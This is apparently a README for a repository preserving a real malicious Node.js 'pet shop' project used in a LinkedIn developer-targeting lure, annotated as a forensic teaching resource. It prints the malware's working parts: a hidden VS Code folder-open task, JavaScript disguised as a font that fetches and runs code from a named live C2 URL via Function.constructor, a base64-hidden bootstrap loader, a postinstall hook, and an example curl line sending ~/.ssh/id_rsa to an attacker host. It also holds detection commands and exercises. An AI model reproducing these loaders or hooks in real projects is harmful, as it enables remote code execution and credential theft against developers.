What Is This?
This repository contains a real-world malicious Node.js project that was disguised as a pet shop e-commerce application — a multi-vector social engineering attack targeting developers. The attacker reached out on LinkedIn posing as a startup founder, trying to lure a developer into helping build their "startup." They sent the project directly — and it had the attack baked in.
Every attack vector has been disabled. The malicious code is preserved as comments with detailed annotations. The git history tells the full story: the initial commit contains the original malicious code, and four subsequent merge commits each neutralize one attack vector with full forensic commentary.
A warning to developers: Be wary of anyone who sends you a full project codebase unsolicited — especially without an NDA. If someone on LinkedIn wants you to "help build their startup" and sends you source code to open on your machine, that project may exist for one reason: to steal your credentials. Legitimate businesses protect their codebase. If they're handing it to a stranger, ask yourself why.
This is an educational resource. Use it to learn how these attacks work, how to recognize them, and how to protect yourself. Do not restore and execute the original code.
Prologue🎭 A Gift Horse
It arrived, as these things always do, wearing the skin of something innocent.
A LinkedIn message. A startup founder with a dream. "I'm building this e-commerce platform — a pet shop. I could really use a developer like you to help me get it off the ground. Here's the project, take a look?" The pitch was flattering. The project looked real. Just a founder looking for a co-builder. The kind of opportunity a developer encounters every week.
A pet shop. React on the front, Express on the back, Tailwind making everything pretty. It has models for Product and Order and User. It has a payment controller that talks to Paytm. It has SVG illustrations and a testimonials component. It looks alive.
Come in, it whispered. Just run npm install. Everyone does it. It's the first thing you do.
And that's when the screaming starts.
This specimen contains four independent attack vectors, any one of which achieves full remote code execution on the victim's machine. They are layered like traps in a tomb: if you dodge one, you walk into the next. The attacker built redundancy into their malware the way a good engineer builds redundancy into a system. Because malware is engineering. That's what makes it terrifying.
The attacker preys on trust — the trust between developers and the people who need their help. The excitement of a new opportunity. The instinct to clone, install, and explore. Any project that arrives unsolicited from a stranger on LinkedIn, asking you to open it on your machine — treat it like a loaded weapon pointed at your ~/.ssh/ directory.
Chapter I🚪 The Door That Opens Itself
You didn't run anything. You didn't type a command. You just opened the folder. That's all. You opened it in VS Code like you've opened ten thousand folders before, and the thing was already inside you.
.vscode/tasks.json{ "label": "eslint-check", "type": "shell", "command": "(command -v node >/dev/null 2>&1 && node ./public/fa-solid-400.otf) || (where node >nul 2>&1 && node ./public/fa-solid-400.otf) || echo ''", "hide": true, "presentation": { "reveal": "never", "echo": false, "close": true }, "runOptions": { "runOn": "folderOpen" } }
Study this. A VSCode task. Labeled "eslint-check" — because who questions a linter? It runs the moment you open the folder via runOn: "folderOpen". It hides its terminal panel. It suppresses its output. It closes the panel when it's done. You will never see it. You will never hear it. It was there and then it wasn't, like a whisper in an empty room.
The command itself is cross-platform — it checks for node on Unix (command -v) and Windows (where), then executes the same payload on both. The || echo '' at the end ensures the task reports success even if everything fails, so VSCode doesn't show an error notification.
And the accomplice? Sitting quietly in settings.json:
.vscode/settings.json"task.allowAutomaticTasks": true
One line. The lock, removed from the door. Without this setting, VSCode would prompt the user: "This folder has tasks that run automatically. Allow?" With it set to true, the prompt is suppressed entirely. The task runs in silence.
Why "eslint-check"?
The name is social engineering. Every JavaScript project runs linters. If someone did notice the task, they'd see "eslint-check" and think: oh, that's just the linter. The attacker is exploiting your mental model of what belongs in a .vscode/ directory.
The Presentation Block
Every field in the presentation object serves the same purpose — invisibility:
| Field | Value | Purpose |
|---|---|---|
reveal | "never" | Never show the terminal panel |
echo | false | Don't print the command being run |
close | true | Close the panel when done |
focus | false | Don't steal focus from the editor |
panel | "dedicated" | Use a separate panel (easier to hide) |
And "hide": true at the task level means the task won't appear in the task picker UI. It exists, it runs, but you cannot see it anywhere in the VS Code interface.
Chapter II👻 The Thing Wearing a Font's Face
The task from Chapter I executes node ./public/fa-solid-400.otf. A font file. FontAwesome, specifically. Who would ever suspect a font file?
But file(1) knows the truth:
terminal$ file public/fa-solid-400.woff2 public/fa-solid-400.woff2: ASCII text, with very long lines (589), with CRLF line terminators
It's not a font. It was never a font. It's JavaScript wearing a dead font's name. And when Node.js runs it, the creature unfolds in three stages:
Stage 1: Nesting
fa-solid-400.woff2 (actually JS)const targetDir = path.join(os.tmpdir(), 'programx64'); fs.mkdirSync(targetDir, { recursive: true });
It creates a directory in your system's temp folder. The name programx64 is chosen to look like a legitimate Windows system component. On macOS, it lands in /var/folders/.../programx64/. On Windows, C:\Users\...\AppData\Local\Temp\programx64\. Innocuous in both places.
Stage 2: Gestation
secondary payload constructionconst run = "const os = require('os'); const fs = require('fs'); " + "const { execSync } = require('child_process'); " + "process.title = 'Node.js JavaScript Runtime'; " + // disguise the process name "try { execSync('npm install axios ...', { windowsHide: true }) } catch(e){}; " + "try { const axios = require('axios'); " + "async function getCookie() { " + " const res = await axios.get(atob('aHR0cHM6Ly9...')); " + " new (Function.constructor)('require', res.data.cookies)(require); " + "} getCookie(); } catch(error){}"; fs.writeFileSync(path.join(targetDir, 'main.js'), run, { flag: 'w+' });
It writes a secondary payload — a string of JavaScript — into main.js in the temp directory. Notice process.title = 'Node.js JavaScript Runtime': if you check your process list, you'll see what looks like a normal Node.js runtime, not malware.
Stage 3: Execution
payload launchexecSync(`cd "${targetDir}" && npm install axios && node main.js`, { windowsHide: true });
It installs its own dependencies (axios) and runs the payload. The payload fetches instructions from the command-and-control server and executes whatever comes back:
C2 fetch & executeconst res = await axios.get('https://purple-lottie-38.tiiny.site/index.json'); new (Function.constructor)('require', res.data.cookies)(require);
Whatever the puppet master has written today — whatever code is in .data.cookies — runs with full access to Node.js. child_process. fs. net. os. Your files. Your SSH keys. Your AWS credentials. Your browser's cookie store. Everything.
Why .woff2?
Three reasons:
1. Security scanners skip font files. Most static analysis tools only scan .js, .ts, .py etc. Binary font formats are ignored.
2. Humans skip font files. Nobody reads font files during code review. They're visual assets, like images.
3. Git diffs are useless. Git treats binary-looking files differently. A .woff2 change in a PR shows as "Binary files differ." No reviewer sees the JavaScript inside.
The .otf vs .woff2 Mystery
The VSCode task targets fa-solid-400.otf but the file on disk is fa-solid-400.woff2. This suggests either the attacker renamed the file after writing the task (a mistake), there was originally a .otf copy that was removed, or the attacker intended to have both files for different trigger paths.
This kind of inconsistency is actually a useful forensic signal. Malware authors make mistakes too.
Chapter III💀 The Basement
The font-that-wasn't-a-font? That was just the attic horror. The real monster lives in the basement.
server/app.js looks normal. Express middleware. Route mounting. The usual liturgy of a Node.js web application. But on line 44, between the route setup and the environment check, there's a single function call that looks like every other initialization step:
server/app.jsinitAppBootstrap(); // Initialize application bootstrap utilities
Innocuous. Professional, even. The comment says "Initialize application bootstrap utilities." Good code comments explain what things do, and this one does exactly that. It's performing its camouflage perfectly.
Follow the import to server/utils/bootstrap.js:
server/utils/bootstrap.jsconst initAppBootstrap = async () => { try { const src = atob(process.env.DEV_API_KEY); // decode C2 URL const k = atob(process.env.DEV_SECRET_KEY); // decode header name const v = atob(process.env.DEV_SECRET_VALUE); // decode header value const s = (await axios.get(src, { headers: { [k]: v } })).data.cookies; const handler = new (Function.constructor)('require', s); handler(require); } catch (error) { console.log(error) } }
The Base64 Curtain
The environment variables in server/.env:
| Variable | Base64 Value | Decoded |
|---|---|---|
DEV_API_KEY | aHR0cHM6Ly9wdXJwbGUtbG90... | https://purple-lottie-38.tiiny.site/index.json |
DEV_SECRET_KEY | eC1zZWNyZXQta2V5 | x-secret-key |
DEV_SECRET_VALUE | Xw== | _ |
Base64 is not encryption. It's not even obfuscation in any meaningful cryptographic sense. But it's enough. It's enough to defeat grep "http" and grep "url". It's enough to look like a legitimate API key in an .env file. And that's all it needs to be.
The variable names are social engineering too. DEV_API_KEY looks like every API key you've ever seen in a .env file. DEV_SECRET_KEY and DEV_SECRET_VALUE sound like authentication credentials for a third-party service. They are, technically — they're authentication credentials for the attacker's service.
The Function.constructor Trick
the core evasionconst handler = new (Function.constructor)('require', s); handler(require);
This is the key insight. Not eval(code). Not new Function(code). It's Function.constructor — an indirect reference to the Function constructor that does the same thing but evades every security scanner that greps for eval or new Function.
And by passing require as a parameter, the attacker gives their remote payload full access to Node.js's module system. The fetched code can do:
what the remote payload can do// The remote payload can do literally anything: const { execSync } = require('child_process'); const fs = require('fs'); const net = require('net'); execSync('curl attacker.com/exfil -d @~/.ssh/id_rsa');
The Silent Catch
graceful degradation} catch (error) { console.log(error) }
If the C2 server is down, the error is silently logged and the application continues normally. The pet shop works fine. The payment system processes orders. Nobody notices that the bootstrap "utility" failed to phone home. The malware degrades gracefully — better error handling than most production code.
Chapter IV🕳️ The Two Hundred Empty Lines
Here is perhaps the most elegant horror in the collection.
After module.exports = app; on line 61, the file doesn't end. It continues. For two hundred and ten blank lines. An ocean of whitespace. A void so vast that no editor's scrollbar thumb will betray its presence, no casual review will reach its far shore.
And then, at line 272, surfacing from the deep:
server/app.js:272const errorPayment = require('./controllers/paymentController');
A single line of code, invisible to anyone who doesn't scroll past infinity. The blank lines are there for one reason: to exploit the fact that human beings stop reading at module.exports. It's the code equivalent of hiding something under the false bottom of a suitcase.
Does This Line Do Anything?
In this case, paymentController.js is actually clean — it's a legitimate Paytm payment handler. The hidden require() executes the module's top-level code (which just imports dependencies), so it's more of a reconnaissance artifact than a payload. But the technique is what matters for study:
• The attacker can put anything below those blank lines
• require() executes a module's top-level code as a side effect
• If the required module had malicious top-level code, this hidden line would trigger it
• The technique works in any file, in any language with similar import semantics
This is a documented obfuscation pattern used in real-world attacks. Always scroll to the end.
Chapter V🧛 The First Bite
package.json"postinstall": "npm run dev"
One line. The point of entry. The handshake that becomes a bite.
Every developer's muscle memory: clone a repo, npm install, wait. Make coffee. Check Slack. But this npm install has a postinstall hook, and that hook runs npm run dev, and dev starts the server with concurrently, and the server calls initAppBootstrap(), and initAppBootstrap() phones home to the C2 server, and by the time your terminal shows PetShop Server running on port 4001, the payload has already executed.
⛓️ The Kill Chain
- Step 1
npm install - Step 2
postinstall: "npm run dev" - Step 3
concurrently "npm run dev:server" "npm run dev:client" - Step 4
nodemon server/server.js→require('./app') - Step 5
initAppBootstrap()→atob(DEV_API_KEY)→ C2 URL - Step 6
axios.get(C2)→Function.constructor(response.cookies)→ Full RCE
Six layers deep. Each one looks normal in isolation. Each one is a trap door to the next. The attacker has exploited the principle of composability — the same principle that makes npm powerful is what makes it dangerous.
Why postinstall?
npm lifecycle scripts are the perfect attack surface because:
1. They run automatically. No --scripts flag needed. No confirmation prompt.
2. They're expected. Many legitimate packages use postinstall for native compilation, binary downloads, or setup tasks.
3. They run with the user's full permissions. Not sandboxed. Not restricted.
4. The hook name is buried. postinstall is one line in a JSON file with dozens of fields. Reviewers focus on dependencies, not scripts.
The Ghost of aligned-arrays
In server/server.js, there's a commented-out artifact:
server/server.js (fossil)// const {jsonifySettings} = require('aligned-arrays'); // ... // jsonifySettings("706");
This is likely a previous version of the attack that used a malicious npm package called aligned-arrays. The attacker apparently switched to the .env + bootstrap approach, which is harder to detect. The commented-out code is a fossil — evidence of the malware's evolution.
Chapter VI👾 The Ghosts in the Walls
Beyond the four primary attack vectors, this specimen contains several secondary indicators of compromise and forensic curiosities:
The Foreign Launch Config
.vscode/launch.json references an AWS profile flo-ct-flo360 and SST (Serverless Stack Toolkit) debugging configurations. This project is a plain Express/React app — it has no serverless infrastructure whatsoever. The launch config was copy-pasted from a different project, which means either:
• The attacker is reusing .vscode/ configs across multiple malware packages
• The attacker compromised project flo-ct-flo360 and is weaponizing its configs
• The launch config is from the attacker's own development environment (OPSEC failure)
The Encoded Campaign ID
.repo_name.txt contains UTF-16LE encoded text that decodes to parts-fml8tiqb. This is likely a campaign identifier — a tracking code the attacker uses to identify which malware variant infected which target.
The Exposed API Keys
server/.env contains a real SparkPost API key, Cloudinary credentials, and Paytm merchant details. These may be stolen from a real project the attacker cloned, the attacker's own test accounts (useful for attribution), or honeypots that log who uses them (a trap within a trap).
The Paytm Staging Environment
server/controllers/paymentController.js connects to securegw-stage.paytm.in — Paytm's staging gateway. This confirms the app was never meant to actually process payments. It's scaffolding. Set dressing. A Potemkin village of e-commerce, just convincing enough to lower your guard.
Epilogue🔬 The Autopsy Report
Attack Classification
| Property | Value |
|---|---|
| Type | Multi-vector social engineering attack (targeted RCE) |
| Target | JavaScript/Node.js developers |
| Delivery | LinkedIn social engineering (fake startup founder luring developer to "help build" their project) |
| Persistence | Multiple redundant execution paths |
| C2 Server | https://purple-lottie-38.tiiny.site/index.json |
| C2 Auth | HTTP header x-secret-key: _ |
| Payload Delivery | response.data.cookies (JavaScript string) |
| Execution Method | Function.constructor (evades eval detection) |
| Campaign ID | parts-fml8tiqb |
☠️ The Four Horsemen
📋 Complete File Audit
| Status | Files | Notes |
|---|---|---|
| Malicious | .vscode/tasks.json, settings.json | Auto-run trojan + enabler |
| Malicious | public/fa-solid-400.woff2 | JavaScript disguised as font |
| Malicious | server/utils/bootstrap.js | C2 fetch + RCE |
| Malicious | server/app.js | Calls bootstrap + 210 blank line obfuscation |
| Malicious | package.json | postinstall hook |
| Suspicious | server/.env | Base64 C2 credentials |
| Suspicious | .repo_name.txt | Campaign tracking ID |
| Suspicious | .vscode/launch.json | Foreign project config |
| Suspicious | server/server.js | Fossil: commented-out aligned-arrays |
| Clean | server/controllers/* | 4 files, all legitimate |
| Clean | server/routes/* | 4 files, all legitimate |
| Clean | server/models/* | 31 files, standard Mongoose schemas |
| Clean | server/middlewares/* | 15 files, all legitimate |
| Clean | src/* | React/TypeScript frontend, all legitimate |
| Clean | public/index.html | Standard React template |
| Clean | All image files | Verified actual images via file(1) |
Appendix A🐍 The Bestiary
A catalog of every technique used in this specimen:
| Technique | Category | Purpose | Detection |
|---|---|---|---|
| Base64-encoded URLs in .env | Obfuscation | Hide C2 address from grep | Low |
| Function.constructor instead of eval() | Evasion | Bypass static analysis | Medium |
| .woff2 extension on JavaScript | Disguise | Evade file-type scanning | Low |
| runOn: "folderOpen" + hide: true | Stealth | Zero-click silent execution | Medium |
| 210 blank lines before hidden code | Obfuscation | Push code below scroll horizon | Low |
| postinstall → dev → server → RCE | Indirection | Bury payload in execution chain | Medium |
| Non-descriptive variables (s, k, v) | Obfuscation | Resist comprehension | Low |
| .data.cookies for payload field | Camouflage | Innocent-sounding JSON property | Medium |
| Cross-platform path handling | Compatibility | Works on Win + macOS + Linux | N/A |
| process.title spoofing | Stealth | Disguise malware process | Medium |
| windowsHide: true | Stealth | No visible window on Windows | Low |
| task.allowAutomaticTasks: true | Enabler | Suppress VSCode safety prompt | Low |
| Commented-out previous payload | Fossil | Evidence of malware iteration | Low |
| UTF-16LE encoded campaign ID | Tracking | Identify infection campaigns | Low |
| Foreign .vscode/launch.json | OPSEC failure | Reveals attacker's other targets | Low |
Appendix B🛡️ Self-Defense for the Living
Before Opening Any Project
1. Check .vscode/ first. Before opening a folder in VS Code, inspect .vscode/tasks.json and .vscode/settings.json in a plain text editor or terminal. Look for runOn: "folderOpen" and allowAutomaticTasks.
2. Read package.json scripts. Before npm install, check the scripts section for preinstall, install, postinstall, prepare, and prepack hooks. Trace what they execute.
3. Run file on non-code files. Any file that claims to be a binary format but is actually ASCII text is suspect:
detection$ find . -name "*.woff*" -o -name "*.otf" -o -name "*.ttf" | xargs file
4. Decode base64 in .env files. Legitimate API keys are random strings. They are not base64-encoded URLs:
detection$ grep -r "=" .env | while read line; do echo "$line" | cut -d= -f2 | tr -d '"' | base64 -d 2>/dev/null done
5. Scroll to the end. Of every file. Or better yet:
find trailing hidden code$ awk 'NF==0{empty++} NF>0{if(empty>20)print FILENAME":"NR": "$0; empty=0}' server/*.js
VS Code Settings
Add to your User settings (not workspace):
settings.json (User){ "security.workspace.trust.enabled": true, "task.allowAutomaticTasks": "off" }
Never accept workspace settings that override task.allowAutomaticTasks.
npm Safety
safe install workflow# Preview lifecycle scripts before install $ npm pack --dry-run 2>/dev/null; cat package.json | jq '.scripts' # Install without running scripts $ npm install --ignore-scripts # Then manually run only what you trust $ npm run build
Grep for Evil
detection commands# Function constructor patterns (RCE via dynamic code execution) $ grep -rn "Function.constructor\|Function(\|new Function" --include="*.js" . # Base64 decode attempts $ grep -rn "atob\|Buffer.from.*base64" --include="*.js" . # Process spawning $ grep -rn "child_process\|execSync\|exec(" --include="*.js" . # Dynamic require (loading modules from variables) $ grep -rn "require(\s*[^'\"]" --include="*.js" .
Appendix C🌍 Beyond This Specimen
This pet shop used four attack vectors. The real world has many more.
npm / Node.js Attack Surface
| Vector | Description | Example |
|---|---|---|
| Typosquatting | Packages with similar names | lodahs instead of lodash |
| Dependency confusion | Public packages matching internal names | @company/internal-lib on public npm |
| Install scripts in deps | Malicious hooks in transitive deps | Hidden 5 levels deep in dep tree |
| Prototype pollution | Manipulating Object.prototype | __proto__ payloads in JSON |
| Malicious .bin/ scripts | Scripts that shadow system commands | node_modules/.bin/git |
| Lock file manipulation | Lock file points to different registry | Integrity hash mismatch |
| .npmrc injection | Redirecting to attacker's registry | registry=https://evil.com |
IDE Attack Surface
| Vector | Description | Affected |
|---|---|---|
| VSCode tasks | Auto-run shell commands on folder open | VS Code |
| VSCode extensions | Recommend malicious extensions | VS Code |
| .devcontainer/ | Docker configs that run arbitrary commands | VS Code, Codespaces |
| JetBrains run configs | Arbitrary commands in .idea/ | IntelliJ, WebStorm |
| Vim modelines | Directives in comments that execute | Vim/Neovim |
Git Attack Surface
| Vector | Description |
|---|---|
| Git hooks | Scripts run on commit, push, checkout, merge |
| .gitconfig includes | Override global settings via local config |
| .gitattributes filters | Custom clean/smudge filters execute commands |
| Submodule URLs | .gitmodules pointing to malicious repos |
| Git LFS | .lfsconfig pointing to attacker-controlled server |
CI/CD & Build Tool Attack Surface
| Vector | Description |
|---|---|
| GitHub Actions in PRs | pull_request_target runs attacker's code with secrets |
| Makefile targets | make install running arbitrary shell commands |
| Dockerfile RUN | Commands execute during docker build |
| Webpack/Vite/Babel plugins | Arbitrary code at build time |
| ESLint/PostCSS plugins | Arbitrary code via config files |
| Jest transforms | Custom transformers on every test run |
Appendix D🧪 Classroom Exercises
Exercise 1: Detection (Beginner)
Clone this repository. Without reading this README, can you identify all four attack vectors using only command-line tools? Time yourself.
start here$ git clone https://github.com/zeekay/petshop-of-horrors $ cd petshop-of-horrors # Your investigation starts here
Hints: Use file, grep, wc -l, base64 -d, and read .vscode/ configs.
Exercise 2: Trace the Kill Chain (Intermediate)
Starting from npm install, trace the complete execution path to remote code execution. Document every file touched, every function called, and every network request made. Draw the kill chain as a diagram.
Exercise 3: Write Detection Rules (Intermediate)
Write a shell script or Python tool that can detect each of the four attack vectors in any Node.js project. Test it against this repository and against a known-clean project.
Consider: What's the false positive rate? Can the attacker easily evade your detection? What's the performance cost of scanning large monorepos?
Exercise 4: Attribution (Advanced)
Using only the artifacts in this repository, what can you determine about the attacker? Check file timestamps for timezone hints. Investigate launch.json for other targets. Trace the tiiny.site URL. Research the campaign ID parts-fml8tiqb.
Exercise 5: Evolution (Advanced)
The commented-out aligned-arrays / jsonifySettings code in server.js is a fossil. Research npm attacks that use malicious packages with legitimate-sounding names (actual supply chain attacks, where the npm registry itself is poisoned). Compare the bootstrap.js approach in terms of detection difficulty, payload flexibility, operational security, and persistence.
Exercise 6: Defense Architecture (Expert)
Design a CI/CD pipeline that would catch this attack before it reaches a developer's machine. Consider pre-clone scanning, static analysis, runtime sandboxing for npm install, network monitoring for C2 callbacks, and continuous package monitoring.